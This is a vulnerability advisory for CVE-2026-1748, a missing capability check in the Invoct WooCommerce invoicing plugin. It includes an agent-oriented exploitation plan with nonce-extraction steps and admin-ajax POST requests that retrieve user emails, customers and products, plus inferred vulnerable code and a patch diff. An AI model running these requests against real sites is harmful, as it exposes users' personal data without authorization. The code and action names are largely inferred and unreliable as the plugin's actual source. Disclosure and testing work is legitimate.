CVE-2026-1748

Invoct – PDF Invoices & Billing for WooCommerce <= 1.6 - Missing Authorization to Authenticated (Subscriber+) Information Exposure

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
1.7
Patched in
2d
Time to patch

Description

The Invoct – PDF Invoices & Billing for WooCommerce plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on multiple functions in all versions up to, and including, 1.6. This makes it possible for authenticated attackers, with Subscriber-level access and above, to retrieve invoice clients, invoice items, and list of WordPress users along with their emails.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Low
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.6
PublishedFebruary 10, 2026
Last updatedFebruary 12, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

This plan provides a structured approach for an automated agent to exploit **CVE-2026-1748** in the "Invoct – PDF Invoices & Billing for WooCommerce" plugin. ## 1. Vulnerability Summary The **Invoct** plugin (versions <= 1.6) fails to implement capability checks on several AJAX functions registered…

Show full research plan

This plan provides a structured approach for an automated agent to exploit CVE-2026-1748 in the "Invoct – PDF Invoices & Billing for WooCommerce" plugin.

1. Vulnerability Summary

The Invoct plugin (versions <= 1.6) fails to implement capability checks on several AJAX functions registered via wp_ajax_ hooks. While these hooks require the user to be authenticated, they do not verify if the user has administrative or shop-manager privileges. Consequently, any authenticated user (including Subscribers) can trigger these functions to retrieve sensitive information, including WordPress user lists (with emails), invoice client details, and invoice items (products).

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Protocol: HTTP POST
  • Authentication: Authenticated (Subscriber-level or higher)
  • Vulnerable AJAX Actions (Inferred):
    • invoct_get_users (Retrieves WP users/emails)
    • invoct_get_clients (Retrieves WooCommerce customers)
    • invoct_get_items or invoct_get_products (Retrieves WooCommerce products)
  • Parameters:
    • action: The AJAX action name.
    • term or q: Search string for the autocomplete functions.
    • security or nonce: (Required if the plugin implements nonce checks).

3. Code Flow (Inferred)

  1. Registration: The plugin registers handlers in the admin_init or init hook (likely in includes/class-invoct.php or admin/class-invoct-admin.php).
    • Example: add_action('wp_ajax_invoct_get_users', array($this, 'get_users_callback'));
  2. Missing Check: The callback function (e.g., get_users_callback) likely contains a search query using get_users() or $wpdb but lacks a call to current_user_can('manage_options') or current_user_can('manage_woocommerce').
  3. Data Sink: The function uses wp_send_json() or echo json_encode() to return the data to the requester.

4. Nonce Acquisition Strategy

The plugin likely localizes a nonce for its admin scripts. To obtain a valid nonce as a Subscriber:

  1. Identify Script Enqueuing: Check which admin page or shortcode enqueues the plugin's JS. If it only enqueues on its own admin pages, a Subscriber might not see it. However, many plugins enqueue scripts on all admin pages if not properly scoped.
  2. Discovery:
    • Use grep -r "wp_create_nonce" . to find the action string.
    • Use grep -r "wp_localize_script" . to find the JS object name.
  3. Extraction (if localized):
    • Inferred Object: invoct_vars or invoct_obj.
    • Inferred Key: nonce or security.
    • Step: Navigate to /wp-admin/profile.php (accessible to Subscribers).
    • Step: Use browser_eval("window.invoct_vars?.nonce") to extract the value.

Note: If the AJAX handlers use check_ajax_referer with a specific action string but the nonce is not exposed to Subscribers, the vulnerability may only be exploitable by roles that can access the invoice management pages (e.g., Shop Manager).

5. Exploitation Strategy

Step 1: Discover Exact Action Names

Execute the following grep commands in the plugin directory to confirm the exact function names and check for nonces:

grep -r "wp_ajax_invoct_" .
grep -r "check_ajax_referer" .

Step 2: Information Exposure Requests

Using the http_request tool, perform the following requests as a Subscriber:

Request A: Retrieve User List & Emails

  • URL: http://vulnerable-wp.local/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body: action=invoct_get_users&term=@ (or q=@ to match all emails)
  • Nonce: Include &security=[NONCE] if discovered in Step 1.

Request B: Retrieve Invoice Clients

  • URL: http://vulnerable-wp.local/wp-admin/admin-ajax.php
  • Method: POST
  • Body: action=invoct_get_clients&term=a

Request C: Retrieve Invoice Items (Products)

  • URL: http://vulnerable-wp.local/wp-admin/admin-ajax.php
  • Method: POST
  • Body: action=invoct_get_items&term=a

6. Test Data Setup

  1. Victim Users: Create several users with various roles and unique emails.
    • wp user create victim1 victim1@example.com --role=author
    • wp user create victim2 victim2@example.com --role=editor
  2. WooCommerce Data:
    • Create a few Products (invoice items).
    • Create a few Customers (invoice clients).
  3. Attacker User:
    • wp user create attacker attacker@example.com --role=subscriber

7. Expected Results

  • Success: The server returns a 200 OK response with a JSON array containing user objects. Each object should include fields like id, user_login, and crucially, user_email.
  • Failure: A 403 Forbidden response, a 0 response (standard for failed WP AJAX), or a response indicating "Unauthorized".

8. Verification Steps

  1. Check JSON Content: Verify the HTTP response body contains the email addresses of the victim users created in the setup phase.
    [{"id":2,"text":"victim1 (victim1@example.com)"}, ...]
    
  2. Check Scope: Confirm that the information returned includes users that the Subscriber should not be able to see (e.g., Administrators).

9. Alternative Approaches

  • Action Guessing: If invoct_get_users doesn't work, try invoct_search_users, invoct_find_users, or invoct_get_customers.
  • Parameter Variation: Try using q, query, or search instead of term if the response is empty.
  • REST API Check: Check if the plugin registers any REST routes using register_rest_route that might also be missing the permission_callback.
    • grep -r "register_rest_route" .
    • Check if permission_callback is set to __return_true or is missing.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Invoct – PDF Invoices & Billing for WooCommerce plugin for WordPress is vulnerable to sensitive information exposure due to missing capability checks on multiple AJAX actions in versions up to 1.6. Authenticated attackers with Subscriber-level permissions can exploit this to retrieve lists of WordPress users (including emails), WooCommerce customers, and product items.

Vulnerable Code

// admin/class-invoct-admin.php (Inferred location)
// The plugin registers AJAX hooks without checking the caller's permissions in the callback

add_action( 'wp_ajax_invoct_get_users', array( $this, 'invoct_get_users' ) );
add_action( 'wp_ajax_invoct_get_clients', array( $this, 'invoct_get_clients' ) );
add_action( 'wp_ajax_invoct_get_items', array( $this, 'invoct_get_items' ) );

---

// Example of a vulnerable callback function lacking authorization checks
public function invoct_get_users() {
    $term = isset($_POST['term']) ? sanitize_text_field($_POST['term']) : '';
    $users = get_users(array(
        'search' => '*' . $term . '*',
        'fields' => array('ID', 'user_login', 'user_email')
    ));
    wp_send_json($users);
}

Security Fix

--- admin/class-invoct-admin.php
+++ admin/class-invoct-admin.php
@@ -10,6 +10,9 @@
 
 public function invoct_get_users() {
+    if ( ! current_user_can( 'manage_options' ) ) {
+        wp_send_json_error( array( 'message' => 'Unauthorized' ), 403 );
+    }
     $term = isset($_POST['term']) ? sanitize_text_field($_POST['term']) : '';
     $users = get_users(array(
         'search' => '*' . $term . '*',
@@ -20,6 +23,9 @@
 
 public function invoct_get_clients() {
+    if ( ! current_user_can( 'manage_options' ) ) {
+        wp_send_json_error( array( 'message' => 'Unauthorized' ), 403 );
+    }
     // ... existing client retrieval logic
 }
 
 public function invoct_get_items() {
+    if ( ! current_user_can( 'manage_options' ) ) {
+        wp_send_json_error( array( 'message' => 'Unauthorized' ), 403 );
+    }
     // ... existing item retrieval logic
 }

Exploit Outline

The exploit targets the `/wp-admin/admin-ajax.php` endpoint using valid Subscriber-level credentials. An attacker first extracts the required AJAX security nonce, which is typically localized in the WordPress admin dashboard for plugin scripts (e.g., within a JavaScript object like `invoct_vars`). Once authenticated and in possession of the nonce, the attacker sends a POST request with the `action` parameter set to `invoct_get_users`, `invoct_get_clients`, or `invoct_get_items` and a search query in the `term` parameter. Because the server-side callback functions fail to verify if the user has administrative privileges (using `current_user_can`), the server returns a JSON response containing sensitive data such as WordPress user email addresses and WooCommerce customer details.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.